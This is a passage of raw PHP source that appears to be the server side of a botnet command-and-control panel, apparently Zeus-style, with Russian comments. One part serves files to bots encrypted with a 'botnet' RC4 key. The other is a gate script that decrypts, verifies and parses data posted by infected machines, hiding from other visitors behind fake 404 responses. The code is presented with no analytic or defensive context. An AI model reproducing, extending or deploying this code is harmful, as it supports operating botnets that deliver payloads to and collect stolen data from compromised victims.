header("Content-Type: application/octet-stream");
if (strstr($_SERVER['HTTP_USER_AGENT'], "MSIE")) {
$iefilename = preg_replace('/\\./', '%2e', $filename, substr_count($filename, '.') - 1);
header("Content-Disposition: attachment; filename=\"{$iefilename}\"");
} else {
header("Content-Disposition: attachment; filename=\"{$filename}\"");
}
header('Content-Transfer-Encoding: binary');
header("Content-Length: " . $len);
@ob_clean();
flush();
if (!$cipher) {
@readfile("{$filename}");
} else {
$contents = file_get_contents($filename);
rc4($contents, $GLOBALS['config']['botnet_cryptkey_bin']);
echo $contents;
}
return true;
}
$success = loadfile($requestfile);
if (FILEPHP_DEBUG_MODE && file_exists($logfile = basename(__FILE__) . '.log')) {
$f = @fopen($logfile, 'a');
if ($f) {
@fwrite($f, '[' . date('d.m.Y H:i:s') . '] Load "' . $requestfile . '" : ' . ($success ? 'ok' : 'FAILED!') . "\n");
@fclose($f);
}
}
if (!$success) {
die404();
}
<?php
define('__REPORT__', 1);
require_once 'system/global.php';
require_once 'system/config.php';
define('BOTCRYPT_MAX_SIZE', 409600);
if (@$_SERVER['REQUEST_METHOD'] !== 'POST') {
die(function_exists('e404plugin_display') ? e404plugin_display() : die404('Not found'));
}
//Получаем данные.
$data = @file_get_contents('php://input');
$dataSize = @strlen($data);
if ($dataSize < HEADER_SIZE + ITEM_HEADER_SIZE) {
die;
}
if ($dataSize < BOTCRYPT_MAX_SIZE) {
rc4($data, $config['botnet_cryptkey_bin']);
}
visualDecrypt($data);
//Верефикация. Если совпадает MD5, нет смысла проверять, что-то еще.
if (strcmp(md5(substr($data, HEADER_SIZE), true), substr($data, HEADER_MD5, 16)) !== 0) {
die;
}
//Парсим данные (Сжатие данных не поддерживается).
$list = array();
for ($i = HEADER_SIZE; $i + ITEM_HEADER_SIZE <= $dataSize;) {
$k = @unpack('L4', @substr($data, $i, ITEM_HEADER_SIZE));
$list[$k[1]] = @substr($data, $i + ITEM_HEADER_SIZE, $k[3]);
$i += ITEM_HEADER_SIZE + $k[3];
}
unset($data);
